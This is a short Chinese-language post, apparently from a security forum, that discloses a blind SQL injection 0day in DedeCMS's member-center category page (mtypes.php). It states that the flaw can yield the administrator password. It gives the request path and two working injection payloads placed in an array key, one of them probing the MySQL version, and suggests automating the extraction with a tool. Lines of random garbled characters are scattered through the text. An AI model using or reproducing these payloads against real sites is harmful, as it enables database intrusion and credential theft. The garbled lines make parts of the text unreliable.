DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.
8 v/ F" F9 A! X6 g  H

+ J! e, d$ b; a+ I+ l9 r, }发生在数组key里的注射漏洞,有点意思.

这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下

7 S3 G7 \9 a9 O3 N+ g8 ~http://www.xxx.com /dede/member/mtypes.php?dopost=save
) ?  |0 Z5 l# W+ _: X
- H; u" F6 x: {1 N3 {, lexploit:
) d8 i" y: z" Dmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
$ X. _+ O' [, X" B1 K7 v9 Z' y' vmtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
+ w+ J" I+ W/ ~